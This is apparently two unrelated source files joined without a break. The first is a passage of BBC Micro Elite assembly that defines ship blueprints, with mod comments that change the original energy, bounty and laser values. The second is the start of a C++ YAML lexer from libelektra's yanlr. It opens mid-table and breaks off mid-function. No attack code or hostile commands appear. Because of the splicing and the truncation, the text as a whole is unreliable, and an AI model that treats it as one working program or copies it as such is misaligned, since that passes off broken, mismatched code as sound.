12, 8, 8, 10 \ Edge 19 EDGE 13, 12, 8, 8, 10 \ Edge 20 EDGE 11, 14, 9, 9, 10 \ Edge 21 EDGE 13, 14, 9, 9, 10 \ Edge 22 .SHIP_IGUANA_FACES \FACE normal_x, normal_y, normal_z, visibility FACE -51, 77, 25, 31 \ Face 0 FACE -51, -77, 25, 31 \ Face 1 FACE 51, 77, 25, 31 \ Face 2 FACE 51, -77, 25, 31 \ Face 3 FACE -42, 85, 0, 31 \ Face 4 FACE -42, -85, 0, 31 \ Face 5 FACE 42, 85, 0, 31 \ Face 6 FACE 42, -85, 0, 31 \ Face 7 FACE -23, 0, -93, 31 \ Face 8 FACE 23, 0, -93, 31 \ Face 9 \ --- End of added section ----------------------------> \ ****************************************************************************** \ \ Name: SHIP_KRAIT \ Type: Variable \ Category: Drawing ships \ Summary: Ship blueprint for a Krait \ Deep dive: Ship blueprints \ \ ****************************************************************************** .SHIP_KRAIT EQUB 1 \ Max. canisters on demise = 1 EQUW 60 * 60 \ Targetable area = 60 * 60 EQUB LO(SHIP_KRAIT_EDGES - SHIP_KRAIT) \ Edges data offset (low) EQUB LO(SHIP_KRAIT_FACES - SHIP_KRAIT) \ Faces data offset (low) EQUB 85 \ Max. edge count = (85 - 1) / 4 = 21 EQUB 0 \ Gun vertex = 0 EQUB 18 \ Explosion count = 3, as (4 * n) + 6 = 18 EQUB 102 \ Number of vertices = 102 / 6 = 17 EQUB 21 \ Number of edges = 21 EQUW 100 \ Bounty = 100 EQUB 24 \ Number of faces = 24 / 4 = 6 EQUB 25 \ Visibility distance = 25 \ --- Mod: Original Acornsoft code removed: -----------> \ EQUB 80 \ Max. energy = 80 \ --- And replaced by: --------------------------------> EQUB 73 \ Max. energy = 73 \ --- End of replacement ------------------------------> EQUB 30 \ Max. speed = 30 EQUB HI(SHIP_KRAIT_EDGES - SHIP_KRAIT) \ Edges data offset (high) EQUB HI(SHIP_KRAIT_FACES - SHIP_KRAIT) \ Faces data offset (high) EQUB 1 \ Normals are scaled by = 2^1 = 2 \ --- Mod: Original Acornsoft code removed: -----------> \ EQUB %00010000 \ Laser power = 2 \ \ Missiles = 0 \ --- And replaced by: --------------------------------> EQUB %00100000 \ Laser power = 4 \ Missiles = 0 \ --- End of replacement ------------------------------> \VERTEX x, y, z, face1, face2, face3, face4, visibility VERTEX 0, 0, 96, 1, 0, 3, 2, 31 \ Vertex 0 VERTEX 0, 18, -48, 3, 0, 5, 4, 31 \ Vertex 1 VERTEX 0, -18, -48, 2, 1, 5, 4, 31 \ Vertex 2 VERTEX 90, 0, -3, 1, 0, 4, 4, 31 \ Vertex 3 VERTEX -90, 0, -3, 3, 2, 5, 5, 31 \ Vertex 4 VERTEX 90, 0, 87, 1, 0, 1, 1, 30 \ Vertex 5 VERTEX -90, 0, 87, 3, 2, 3, 3, 30 \ Vertex 6 VERTEX 0, 5, 53, 0, 0, 3, 3, 9 \ Vertex 7 VERTEX 0, 7, 38, 0, 0, 3, 3, 6 \ Vertex 8 VERTEX -18, 7, 19, 3, 3, 3, 3, 9 \ Vertex 9 VERTEX 18, 7, 19, 0, 0, 0, 0, 9 \ Vertex 10 VERTEX 18, 11, -39, 4, 4, 4, 4, 8 \ Vertex 11 VERTEX 18, -11, -39, 4, 4, 4, 4, 8 \ Vertex 12 VERTEX 36, 0, -30, 4, 4, 4, 4, 8 \ Vertex 13 VERTEX -18, 11, -39, 5, 5, 5, 5, 8 \ Vertex 14 VERTEX -18, -11, -39, 5, 5, 5, 5, 8 \ Vertex 15 VERTEX -36, 0, -30, 5, 5, 5, 5, 8 \ Vertex 16 .SHIP_KRAIT_EDGES \EDGE vertex1, vertex2, face1, face2, visibility EDGE 0, 1, 3, 0, 31 \ Edge 0 EDGE 0, 2, 2, 1, 31 \ Edge 1 EDGE 0, 3, 1, 0, 31 \ Edge 2 EDGE 0, 4, 3, 2, 31 \ Edge 3 EDGE 1, 4, 5, 3, 31 \ Edge 4 EDGE 4, 2, 5, 2, 31 \ Edge 5 EDGE 2, 3, 4, 1, 31 \ Edge 6 EDGE 3, 1, 4, 0, 31 \ Edge 7 EDGE 3, 5, 1, 0, 30 \ Edge 8 EDGE 4, 6, 3, 2, 30 \ Edge 9 EDGE 1, 2, 5, 4, 8 \ Edge 10 EDGE 7, 10, 0, 0, 9 \ Edge 11 EDGE 8, 10, 0, 0, 6 \ Edge 12 EDGE 7, 9, 3, 3, 9 \ Edge 13 EDGE 8, 9, 3, 3, 6 \ Edge 14 EDGE 11, 13, 4, 4, 8 \ Edge 15 EDGE 13, 12, 4, 4, 8 \ Edge 16 EDGE 12, 11, 4, 4, 7 \ Edge 17 EDGE 14, 15, 5, 5, 7 \ Edge 18 EDGE 15, 16, 5, 5, 8 \ Edge 19 EDGE 16, 14, 5, 5, 8 \ Edge 20 .SHIP_KRAIT_FACES \FACE normal_x, normal_y, normal_z, visibility FACE 3, 24, 3, 31 \ Face 0 FACE 3, -24, 3, 31 \ Face 1 FACE -3, -24, 3, 31 \ Face 2 FACE -3, 24, 3, 31 \ Face 3 FACE 38, 0, -77, 31 \ Face 4 FACE -38, 0, -77, 31 \ Face 5 \ ****************************************************************************** \ \ Name: SHIP_COBRA_MK_3 \ Type: Variable \ Category: Drawing ships \ Summary: Ship blueprint for a Cobra Mk III \ Deep dive: Ship blueprints \ \ ****************************************************************************** .SHIP_COBRA_MK_3 EQUB 3 \ Max. canisters on demise = 3 EQUW 95 * 95 \ Targetable area = 95 * 95 EQUB LO(SHIP_COBRA_MK_3_EDGES - SHIP_COBRA_MK_3) \ Edges data offset (low) EQUB LO(SHIP_COBRA_MK_3_FACES - SHIP_COBRA_MK_3) \ Faces data offset (low) EQUB 153 \ Max. edge count = (153 - 1) / 4 = 38 EQUB 84 \ Gun vertex = 84 / 4 = 21 EQUB 42 \ Explosion count = 9, as (4 * n) + 6 = 42 EQUB 168 \ Number of vertices = 168 / 6 = 28 EQUB 38 \ Number of edges = 38 \ --- Mod: Original Acornsoft code removed: -----------> \ EQUW 0 \ Bounty = 0 \ --- And replaced by: --------------------------------> EQUW 400 \ Bounty = 400 \ --- End of replacement ------------------------------> EQUB 52 \ Number of faces = 52 / 4 = 13 EQUB 50 \ Visibility distance = 50 \ --- Mod: Original Acornsoft code removed: -----------> \ EQUB 150 \ Max. energy = 150 \ --- And replaced by: --------------------------------> EQUB 106 \ Max. energy = 106 \ --- End of replacement ------------------------------> EQUB 28 \ Max. speed = 28 EQUB HI(SHIP_COBRA_MK_3_EDGES - SHIP_COBRA_MK_3) \ Edges data offset (low) EQUB HI(SHIP_COBRA_MK_3_FACES - SHIP_COBRA_MK_3) \ Faces data offset (low) EQUB 1 \ Normals are scaled by = 2^1 = 2 \ --- Mod: Original Acornsoft code removed: -----------> \ EQUB %00010011 \ Laser power = 2 \ \ Missiles = 3 \ --- And replaced by: --------------------------------> EQUB %00101100 \ Laser power = 5 \ Missiles = 4 \ --- End of replacement ------------------------------> \VERTEX x, y, z, face1, face2, face3, face4, visibility VERTEX 32, 0, 76, 15, 15, 15, 15, 31 \ Vertex 0 VERTEX -32, 0, 76, 15, 15, 15, 15, 31 \ Vertex 1 VERTEX 0, 26, 24, 15, 15, 15, 15, 31 \ Vertex 2 VERTEX -120, -3, -8, 3, 7, 10, 10, 31 \ Vertex 3 VERTEX 120, -3, -8, 4, 8, 12, 12, 31 \ Vertex 4 VERTEX -88, 16, -40, 15, 15, 15, 15, 31 \ Vertex 5 VERTEX 88, 16, -40, 15, 15, 15, 15, 31 \ Vertex 6 VERTEX 128, -8, -40, 8, 9, 12, 12, 31 \ Vertex 7 VERTEX -128, -8, -40, 7, 9, 10, 10, 31 \ Vertex 8 VERTEX 0, 26, -40, 5, 6, 9, 9, 31 \ Vertex 9 VERTEX -32, -24, -40, 9, 10, 11, 11, 31 \ Vertex 10 VERTEX 32, -24, -40, 9, 11, 12, 12, 31 \ Vertex 11 VERTEX -36, 8, -40, 9, 9, 9, 9, 20 \ Vertex 12 VERTEX -8, 12, -40, 9, 9, 9, 9, 20 \ Vertex 13 VERTEX 8, 12, -40, 9, 9, 9, 9, 20 \ Vertex 14 VERTEX 36, 8, -40, 9, 9, 9, 9, 20 \ Vertex 15 VERTEX 36, -12, -40, 9, 9, 9, 9, 20 \ Vertex 16 VERTEX 8, -16, -40, 9, 9, 9, 9, 20 \ Vertex 17 VERTEX -8, -16, -40, 9, 9, 9, 9, 20 \ Vertex 18 VERTEX -36, -12, -40, 9, 9, 9, 9, 20 \ Vertex 19 VERTEX 0, 0, 76, 0, 11, 11, 11, 6 \ Vertex 20 VERTEX 0, 0, 90, 0, 11, 11, 11, 31 \ Vertex 21 VERTEX -80, -6, -40, 9, 9, 9, 9, 8 \ Vertex 22 VERTEX -80, 6, -40, 9, 9, 9, 9, 8 \ Vertex 23 VERTEX -88, 0, -40, 9, 9, 9, 9, 6 \ Vertex 24 VERTEX 80, 6, -40, 9, 9, 9, 9, 8 \ Vertex 25 VERTEX 88, 0, -40, 9, 9, 9, 9, 6 \ Vertex 26 VERTEX 80, -6, -40, 9, 9, 9, 9, 8 \ Vertex 27 .SHIP_COBRA_MK_3_EDGES \EDGE vertex1, vertex2, face1, face2, visibility EDGE 0, 1, 0, 11, 31 \ Edge 0 EDGE 0, 4, 4, 12, 31 \ Edge 1 EDGE 1, 3, 3, 10, 31 \ Edge 2 EDGE 3, 8, 7, 10, 31 \ Edge 3 EDGE 4, 7, 8, 12, 31 \ Edge 4 EDGE 6, 7, 8, 9, 31 \ Edge 5 EDGE 6, 9, 6, 9, 31 \ Edge 6 EDGE 5, 9, 5, 9, 31 \ Edge 7 EDGE 5, 8, 7, 9, 31 \ Edge 8 EDGE 2, 5, 1, 5, 31 \ Edge 9 EDGE 2, 6, 2, 6, 31 \ Edge 10 EDGE 3, 5, 3, 7, 31 \ Edge 11 EDGE 4, 6, 4, 8, 31 \ Edge 12 EDGE 1, 2, 0, 1, 31 \ Edge 13 EDGE 0, 2, 0, 2, 31 \ Edge 14 EDGE 8, 10, 9, 10, 31 \ Edge 15 EDGE 10, 11, 9, 11, 31 \ Edge 16 EDGE 7, 11, 9, 12, 31 \ Edge 17 EDGE 1, 10, 10, 11, 31 \ Edge 18 EDGE 0, 11, 11, 12, 31 \ Edge 19 EDGE 1, 5, 1, 3, 29 \ Edge 20 EDGE 0, 6, 2, 4, 29 \ Edge 21 EDGE 20, 21, 0, 11, 6 \ Edge 22 EDGE 12, 13, 9, 9, 20 \ Edge 23 EDGE 18, 19, 9, 9, 20 \ Edge 24 EDGE 14, 15, 9, 9, 20 \ Edge 25 EDGE 16, 17, 9, 9, 20 \ Edge 26 EDGE 15, 16, 9, 9, 19 \ Edge 27 EDGE 14, 17, 9, 9, 17 \ Edge 28 EDGE 13, 18, 9, 9, 19 \ Edge 29 EDGE 12, 19, 9, 9, 19 \ Edge 30 EDGE 2, 9, 5, 6, 30 \ Edge 31 EDGE 22, 24, 9, 9, 6 \ Edge 32 EDGE 23, 24, 9, 9, 6 \ Edge 33 EDGE 22, 23, 9, 9, 8 \ Edge 34 EDGE 25, 26, 9, 9, 6 \ Edge 35 EDGE 26, 27, 9, 9, 6 \ Edge 36 EDGE 25, 27, 9, 9, 8 \ Edge 37 .SHIP_COBRA_MK_3_FACES \FACE normal_x, normal_y, normal_z, visibility FACE 0, 62, 31, 31 \ Face 0 FACE -18, 55, 16, 31 \ Face 1 FACE 18, 55, 16, 31 \ Face 2 FACE -16, 52, 14, 31 \ Face 3 FACE 16, 52, 14, 31 \ Face 4 FACE -14, 47, 0, 31 \ Face 5 FACE 14, 47, 0, 31 \ Face 6 FACE -61, 102, 0, 31 \ Face 7 FACE 61, 102, 0, 31 \ Face 8 FACE 0, 0, -80, 31 \ Face 9 FACE -7, -42, 9, 31 \ Face 10 FACE 0, -30, 6, 31 \ Face 11 FACE 7, -42, 9, 31 \ Face 12 \ ****************************************************************************** \ \ Name: SHIP_ASP_MK_2 \ Type: Variable \ Category: Drawing ships \ Summary: Ship blueprint for an Asp Mk II \ Deep dive: Ship blueprints \ \ ****************************************************************************** .SHIP_ASP_MK_2 EQUB 0 \ Max. canisters on demise = 0 EQUW 60 * 60 \ Targetable area = 60 * 60 EQUB LO(SHIP_ASP_MK_2_EDGES - SHIP_ASP_MK_2) \ Edges data offset (low) EQUB LO(SHIP_ASP_MK_2_FACES - SHIP_ASP_MK_2) \ Faces data offset (low) EQUB 101 \ Max. edge count = (101 - 1) / 4 = 25 EQUB 32 \ Gun vertex = 32 EQUB 26 \ Explosion count = 5, as (4 * n) + 6 = 26 EQUB 114 \ Number of vertices = 114 / 6 = 19 EQUB 28 \ Number of edges = 28 \ --- Mod: Original Acornsoft code removed: -----------> \ EQUW 200 \ Bounty = 200 \ --- And replaced by: --------------------------------> EQUW 550 \ Bounty = 550 \ --- End of replacement ------------------------------> EQUB 48 \ Number of faces = 48 / 4 = 12 EQUB 40 \ Visibility distance = 40 \ --- Mod: Original Acornsoft code removed: -----------> \ EQUB 150 \ Max. energy = 150 \ --- And replaced by: --------------------------------> EQUB 117 \ Max. energy = 117 \ --- End of replacement ------------------------------> EQUB 40 \ Max. speed = 40 EQUB HI(SHIP_ASP_MK_2_EDGES - SHIP_ASP_MK_2) \ Edges data offset (high) EQUB HI(SHIP_ASP_MK_2_FACES - SHIP_ASP_MK_2) \ Faces data offset (high) EQUB 1 \ Normals are scaled by = 2^1 = 2 \ --- Mod: Original Acornsoft code removed: -----------> \ EQUB %00101001 \ Laser power = 5 \ \ Missiles = 1 \ --- And replaced by: --------------------------------> EQUB %01001001 \ Laser power = 9 \ Missiles = 1 \ --- End of replacement ------------------------------> \VERTEX x, y, z, face1, face2, face3, face4, visibility VERTEX 0, -18, 0, 1, 0, 2, 2, 22 \ Vertex 0 VERTEX 0, -9, -45, 2, 1, 11, 11, 31 \ Vertex 1 VERTEX 43, 0, -45, 6, 1, 11, 11, 31 \ Vertex 2 VERTEX 69, -3, 0, 6, 1, 9, 7, 31 \ Vertex 3 VERTEX 43, -14, 28, 1, 0, 7, 7, 31 \ Vertex 4 VERTEX -43, 0, -45, 5, 2, 11, 11, 31 \ Vertex 5 VERTEX -69, -3, 0, 5, 2, 10, 8, 31 \ Vertex 6 VERTEX -43, -14, 28, 2, 0, 8, 8, 31 \ Vertex 7 VERTEX 26, -7, 73, 4, 0, 9, 7, 31 \ Vertex 8 VERTEX -26, -7, 73, 4, 0, 10, 8, 31 \ Vertex 9 VERTEX 43, 14, 28, 4, 3, 9, 6, 31 \ Vertex 10 VERTEX -43, 14, 28, 4, 3, 10, 5, 31 \ Vertex 11 VERTEX 0, 9, -45, 5, 3, 11, 6, 31 \ Vertex 12 VERTEX -17, 0, -45, 11, 11, 11, 11, 10 \ Vertex 13 VERTEX 17, 0, -45, 11, 11, 11, 11, 9 \ Vertex 14 VERTEX 0, -4, -45, 11, 11, 11, 11, 10 \ Vertex 15 VERTEX 0, 4, -45, 11, 11, 11, 11, 8 \ Vertex 16 VERTEX 0, -7, 73, 4, 0, 4, 0, 10 \ Vertex 17 VERTEX 0, -7, 83, 4, 0, 4, 0, 10 \ Vertex 18 .SHIP_ASP_MK_2_EDGES \EDGE vertex1, vertex2, face1, face2, visibility EDGE 0, 1, 2, 1, 22 \ Edge 0 EDGE 0, 4, 1, 0, 22 \ Edge 1 EDGE 0, 7, 2, 0, 22 \ Edge 2 EDGE 1, 2, 11, 1, 31 \ Edge 3 EDGE 2, 3, 6, 1, 31 \ Edge 4 EDGE 3, 8, 9, 7, 16 \ Edge 5 EDGE 8, 9, 4, 0, 31 \ Edge 6 EDGE 6, 9, 10, 8, 16 \ Edge 7 EDGE 5, 6, 5, 2, 31 \ Edge 8 EDGE 1, 5, 11, 2, 31 \ Edge 9 EDGE 3, 4, 7, 1, 31 \ Edge 10 EDGE 4, 8, 7, 0, 31 \ Edge 11 EDGE 6, 7, 8, 2, 31 \ Edge 12 EDGE 7, 9, 8, 0, 31 \ Edge 13 EDGE 2, 12, 11, 6, 31 \ Edge 14 EDGE 5, 12, 11, 5, 31 \ Edge 15 EDGE 10, 12, 6, 3, 22 \ Edge 16 EDGE 11, 12, 5, 3, 22 \ Edge 17 EDGE 10, 11, 4, 3, 22 \ Edge 18 EDGE 6, 11, 10, 5, 31 \ Edge 19 EDGE 9, 11, 10, 4, 31 \ Edge 20 EDGE 3, 10, 9, 6, 31 \ Edge 21 EDGE 8, 10, 9, 4, 31 \ Edge 22 EDGE 13, 15, 11, 11, 10 \ Edge 23 EDGE 15, 14, 11, 11, 9 \ Edge 24 EDGE 14, 16, 11, 11, 8 \ Edge 25 EDGE 16, 13, 11, 11, 8 \ Edge 26 EDGE 18, 17, 4, 0, 10 \ Edge 27 .SHIP_ASP_MK_2_FACES \FACE normal_x, normal_y, normal_z, visibility FACE 0, -35, 5, 31 \ Face 0 FACE 8, -38, -7, 31 \ Face 1 FACE -8, -38, -7, 31 \ Face 2 FACE 0, 24, -1, 22 \ Face 3 FACE 0, 43, 19, 31 \ Face 4 FACE -6, 28, -2, 31 \ Face 5 FACE 6, 28, -2, 31 \ Face 6 FACE 59, -64, 31, 31 \ Face 7 FACE -59, -64, 31, 31 \ Face 8 FACE 80, 46, 50, 31 \ Face 9 FACE -80, 46, 50, 31 \ Face 10 FACE 0, 0, -90, 31 \ Face 11 \ ****************************************************************************** \ \ Name: SHIP_PLATE \ Type: Variable \ Category: Drawing ships \ Summary: Ship blueprint for an alloy plate \ Deep dive: Ship blueprints \ \ ****************************************************************************** .SHIP_PLATE EQUB 0 + (8 << 4) \ Max. canisters on demise = 0 \ Market item when scooped = 8 + 1 = 9 (Alloys) EQUW 10 * 10 \ Targetable area = 10 * 10 EQUB LO(SHIP_PLATE_EDGES - SHIP_PLATE) \ Edges data offset (low) EQUB LO(SHIP_PLATE_FACES - SHIP_PLATE) \ Faces data offset (low) EQUB 17 \ Max. edge count = (17 - 1) / 4 = 4 EQUB 0 \ Gun vertex = 0 EQUB 10 \ Explosion count = 1, as (4 * n) + 6 = 10 EQUB 24 \ Number of vertices = 24 / 6 = 4 EQUB 4 \ Number of edges = 4 \ --- Mod: Original Acornsoft code removed: -----------> \ EQUW 0 \ Bounty = 0 \ --- And replaced by: --------------------------------> EQUW 1 \ Bounty = 1 \ --- End of replacement ------------------------------> EQUB 4 \ Number of faces = 4 / 4 = 1 EQUB 5 \ Visibility distance = 5 \ --- Mod: Original Acornsoft code removed: -----------> \ EQUB 16 \ Max. energy = 16 \ --- And replaced by: --------------------------------> EQUB 8 \ Max. energy = 8 \ --- End of replacement ------------------------------> EQUB 16 \ Max. speed = 16 EQUB HI(SHIP_PLATE_EDGES - SHIP_PLATE) \ Edges data offset (high) EQUB HI(SHIP_PLATE_FACES - SHIP_PLATE) \ Faces data offset (high) EQUB 3 \ Normals are scaled by = 2^3 = 8 EQUB %00000000 \ Laser power = 0 \ Missiles = 0 \VERTEX x, y, z, face1, face2, face3, face4, visibility VERTEX -15, -22, -9, 15, 15, 15, 15, 31 \ Vertex 0 VERTEX -15, 38, -9, 15, 15, 15, 15, 31 \ Vertex 1 VERTEX 19, 32, 11, 15, 15, 15, 15, 20 \ Vertex 2 VERTEX 10, -46, 6, 15, 15, 15, 15, 20 \ Vertex 3 .SHIP_PLATE_EDGES \EDGE vertex1, vertex2, face1, face2, visibility EDGE 0, 1, 15, 15, 31 \ Edge 0 EDGE 1, 2, 15, 15, 16 \ Edge 1 EDGE 2, 3, 15, 15, 20 \ Edge 2 EDGE 3, 0, 15, 15, 16 \ Edge 3 .SHIP_PLATE_FACES \FACE normal_x, normal_y, normal_z, visibility FACE 0, 0, 0, 0 \ Face 0 EQUB 6 \ This byte appears to be unused \ ****************************************************************************** \ \ Save S.T.bin \ \ ****************************************************************************** PRINT "S.S.T ", ~CODE%, " ", ~P%, " ", ~LOAD%, " ", ~LOAD% SAVE "3-assembled-output/S.T.bin", CODE%, CODE% + &0A00
/** * @file * * @brief This file specifies a lexer that scans a subset of YAML. * * The lexer uses the same idea as the scanner of `libyaml` (and various other * YAML libs) to detect simple keys (keys with no `?` prefix). * * For a detailed explanation of the algorithm, I recommend to take a look at * the scanner of * * - SnakeYAML Engine: * https://bitbucket.org/asomov/snakeyaml-engine * - or LLVM’s YAML library: * https://github.com/llvm-mirror/llvm/blob/master/lib/Support/YAMLParser.cpp * * . * * @copyright BSD License (see LICENSE.md or https://www.libelektra.org) */ // -- Imports ------------------------------------------------------------------ #include "yaml_lexer.hpp" using std::make_pair; using antlr4::ParseCancellationException; // -- Class -------------------------------------------------------------------- namespace yanlr { using antlr4::CharStream; using antlr4::CommonToken; using antlr4::Token; using antlr4::TokenFactory; /** * @brief This constructor creates a new YAML lexer for the given input. * * @param stream This character stream stores the data this lexer scans. */ YAMLLexer::YAMLLexer (CharStream * stream) { this->input = stream; this->source = make_pair (this, stream); scanStart (); } /** * @brief This function checks if the lexer needs to scan additional tokens. * * @retval true If the lexer should fetch additional tokens * false Otherwise */ bool YAMLLexer::needMoreTokens () const { if (done) return false; bool keyCandidateExists = simpleKey.first != nullptr; return keyCandidateExists || tokens.empty (); } /** * @brief This method retrieves the current (not already emitted) token * produced by the lexer. * * @return A token of the token stream produced by the lexer */ unique_ptr<Token> YAMLLexer::nextToken () { ELEKTRA_LOG_DEBUG ("Retrieve next token"); while (needMoreTokens ()) { fetchTokens (); #ifdef HAVE_LOGGER ELEKTRA_LOG_DEBUG ("Tokens:"); for (unique_ptr<CommonToken> const & token : tokens) { ELEKTRA_LOG_DEBUG ("\t %s", token->toString ().c_str ()); } #endif } // If `fetchTokens` was unable to retrieve a token (error condition), we emit `EOF`. if (tokens.size () <= 0) { tokens.push_back (commonToken (Token::EOF, getPosition (), input->index (), "end of file")); } unique_ptr<CommonToken> token = move (tokens.front ()); tokens.pop_front (); tokensEmitted++; ELEKTRA_LOG_DEBUG ("Emit token %s", token->toString ().c_str ()); return token; } /** * @brief This method retrieves the current line index. * * @return The index of the line the lexer is currently scanning */ size_t YAMLLexer::getLine () const { return line; } /** * @brief This method returns the position in the current line. * * @return The character index in the line the lexer is scanning */ size_t YAMLLexer::getCharPositionInLine () { return column; } /** * @brief This method returns the source the lexer is scanning. * * @return The input of the lexer */ CharStream * YAMLLexer::getInputStream () { return input; } /** * @brief This method retrieves the name of the source the lexer is currently * scanning. * * @return The name of the current input source */ std::string YAMLLexer::getSourceName () { return input->getSourceName (); } /** * @brief This setter changes the token factory of the lexer. * * @param tokenFactory This parameter specifies the factory that the scanner * should use to create tokens. */ template <typename T1> void YAMLLexer::setTokenFactory (TokenFactory<T1> * tokenFactory) { factory = tokenFactory; } /** * @brief Retrieve the current token factory. * * @return The factory the scanner uses to create tokens */ Ref<TokenFactory<CommonToken>> YAMLLexer::getTokenFactory () { return factory; } // =========== // = Private = // =========== /** * @brief This constructor creates a position from the given arguments. * * @param byteIndex This number specifies the byte offset of the position relative to the start of the input. * @param lineNumber This number specifies the line number of the position. * @param columnOffset This number specifies the offset to the beginning of the line. */ YAMLLexer::Position::Position (size_t byteIndex, size_t lineNumber, size_t columnOffset) : index{ byteIndex }, line{ lineNumber }, column{ columnOffset } { } /** * @brief This function returns the current position of the lexer inside the input. * * @return A position containing the current byte index, line number and column offset. */ YAMLLexer::Position YAMLLexer::getPosition () { return Position (input->index (), line, column); } /** * @brief This function creates a new token with the specified parameters. * * @param type This parameter specifies the type of the token this function * should create. * @param start This variable specifies the start position of the returned token * inside the character stream `input`. * @param stop This number specifies the stop index of the returned token * inside the character stream `input`. * @param text This string specifies the text of the returned token. * * @return A token with the specified parameters */ unique_ptr<CommonToken> YAMLLexer::commonToken (size_t type, Position const & start, size_t stop, string text = "") #if defined(__clang__) // Ignore warning about call on pointer of wrong object type (`CommonTokenFactory` instead of `TokenFactory<CommonToken>`) // This should not be a problem, since `CommonTokenFactory` inherits from `TokenFactory<CommonToken>`. __attribute__ ((no_sanitize ("undefined"))) #endif { return factory->create (source, type, text, Token::DEFAULT_CHANNEL, start.index, stop, start.line, start.column); } /** * @brief This function adds an indentation value if the given value is smaller * than the current indentation. * * @param lineIndex This parameter specifies the indentation value that this * function compares to the current indentation. * * @param type This value specifies the block collection type that * `lineIndex` might start. * * @retval true If the function added an indentation value * false Otherwise */ bool YAMLLexer::addIndentation (size_t const lineIndex, Level::Type type) { if (lineIndex > levels.top ().indent) { ELEKTRA_LOG_DEBUG ("Add indentation %zu", lineIndex); levels.push (Level{ lineIndex, type }); return true; } return false; } /** * @brief This method adds new tokens to the token stream. */ void YAMLLexer::fetchTokens () { scanToNextToken (); addBlockEnd (column); if (input->LA (1) == Token::EOF) { scanEnd (); return; } else if (isValue ()) { scanValue (); return; } else if (isElement ()) { scanElement (); return; } else if (input->LA (1) == '"') { scanDoubleQuotedScalar (); return; } else if (input->LA (1) == '\'') { scanSingleQuotedScalar (); return; } else if (input->LA (1) == '#') { scanComment (); return; } scanPlainScalar (); } /** * @brief This method consumes characters from the input stream keeping * track of line and column numbers. * * @param characters This parameter specifies the number of characters the * the function should consume. */ void YAMLLexer::forward (size_t const characters = 1) { ELEKTRA_LOG_DEBUG ("Forward %zu characters", characters); for (size_t charsLeft = characters; charsLeft > 0; charsLeft--) { if (input->LA (1) == Token::EOF) { ELEKTRA_LOG_DEBUG ("Hit EOF!"); return; } column++; if (input->LA (1) == '\n') { column = 1; line++; } input->consume (); } } /** * @brief This method removes uninteresting characters from the input. */ void YAMLLexer::scanToNextToken () { ELEKTRA_LOG_DEBUG ("Scan to next token"); bool found = false; while (!found) { while (input->LA (1) == ' ') { forward (); } ELEKTRA_LOG_DEBUG ("Skipped whitespace"); if (input->LA (1) == '\n') { forward (); ELEKTRA_LOG_DEBUG ("Skipped newline"); } else { found = true; ELEKTRA_LOG_DEBUG ("Found next token"); } } } /** * @brief This method checks if the input at the specified offset starts a key * value token. * * @param offset This parameter specifies an offset to the current position, * where this function will look for a key value token. * * @retval true If the input matches a key value token * false Otherwise */ bool YAMLLexer::isValue (size_t const offset) const { return (input->LA (offset) == ':') && (input->LA (offset + 1) == '\n' || input->LA (offset + 1) == ' '); } /** * @brief This method checks if the current input starts a list element. * * @retval true If the input matches a list element token * false Otherwise */ bool YAMLLexer::isElement () const { return (input->LA (1) == '-') && (input->LA (2) == '\n' || input->LA (2) == ' '); } /** * @brief This method checks if the input at the specified offset starts a line * comment. * * @param offset This parameter specifies an offset to the current position, * where this function will look for a comment token. * * @retval true If the input matches a comment token * false Otherwise */ bool YAMLLexer::isComment (size_t const offset) const { return (input->LA (offset) == '#') && (input->LA (offset + 1) == '\n' || input->LA (offset + 1) == ' '); } /** * @brief This method saves a token for a simple key candidate located at the * current input position. */ void YAMLLexer::addSimpleKeyCandidate () { size_t position = tokens.size () + tokensEmitted; simpleKey = make_pair (commonToken (KEY, getPosition (), input->index (), "KEY"), position); } /** * @brief This method adds block closing tokens to the token queue, if the * indentation decreased. * * @param lineIndex This parameter specifies the column (indentation in number * of spaces) for which this method should add block end * tokens. */ void YAMLLexer::addBlockEnd (size_t const lineIndex) { while (lineIndex < levels.top ().indent) { ELEKTRA_LOG_DEBUG ("Add block end"); size_t index = input->index (); tokens.push_back (levels.top ().type == Level::Type::MAP ? commonToken (MAP_END, getPosition (), index, "end of map") : commonToken (SEQUENCE_END, getPosition (), index, "end of sequence")); levels.pop (); } } /** * @brief This method adds the token for the start of the YAML stream to * `tokens`. */ void YAMLLexer::scanStart () { ELEKTRA_LOG_DEBUG ("Scan start"); auto start = commonToken (STREAM_START, getPosition (), input->index (), "start of document"); tokens.push_back (move (start)); } /** * @brief This method adds the end markers to the token queue. */ void YAMLLexer::scanEnd () { addBlockEnd (0); auto start = getPosition (); tokens.push_back (commonToken (STREAM_END, start, input->index (), "end of document")); tokens.push_back (commonToken (Token::EOF, start, input->index (), "end of file")); done = true; } /** * @brief This method scans a single quoted scalar and adds it to the token * queue. */ void YAMLLexer::scanSingleQuotedScalar () { ELEKTRA_LOG_DEBUG ("Scan single quoted scalar"); auto start = getPosition (); // A single quoted scalar can start a simple key addSimpleKeyCandidate (); forward (); // Include initial single quote while (input->LA (1) != '\'' || input->LA (2) == '\'') { forward (); } forward (); // Include closing single quote tokens.push_back (commonToken (SINGLE_QUOTED_SCALAR, start, input->index () - 1)); } /** * @brief This method scans a double quoted scalar and adds it to the token * queue. */ void YAMLLexer::scanDoubleQuotedScalar () { ELEKTRA_LOG_DEBUG ("Scan double quoted scalar"); auto start = getPosition (); // A double quoted scalar can start a simple key addSimpleKeyCandidate (); forward (); // Include initial double quote while (input->LA (1) != '"') { forward (); } forward (); // Include closing double quote tokens.push_back (commonToken (DOUBLE_QUOTED_SCALAR, start, input->index () - 1)); } /** * @brief This method scans a plain scalar and adds it to the token queue. */ void YAMLLexer::scanPlainScalar () { ELEKTRA_LOG_DEBUG ("Scan plain scalar"); auto start = getPosition (); // A plain scalar can start a simple key addSimpleKeyCandidate (); size_t lengthSpace = 0; size_t lengthNonSpace = 0; while (true) { lengthNonSpace = countPlainNonSpace (lengthSpace); if (lengthNonSpace == 0) { break; } forward (lengthSpace + lengthNonSpace); lengthSpace = countPlainSpace (); } tokens.push_back (commonToken (PLAIN_SCALAR, start, input->index () - 1)); } /** * @brief This method counts the number of non-space characters that can be part * of a plain scalar at position `offset`. * * @param offset This parameter specifies an offset to the current input * position, where this function searches for non-space * characters. * * @return The number of non-space characters at the input position `offset` */ size_t YAMLLexer::countPlainNonSpace (size_t const offset) const { ELEKTRA_LOG_DEBUG ("Scan non-space characters"); string const stop = " \n"; size_t lookahead = offset + 1; while (stop.find (input->LA (lookahead)) == string::npos && input->LA (lookahead) != Token::EOF && !isValue (lookahead) && !isComment (lookahead)) { lookahead++; } 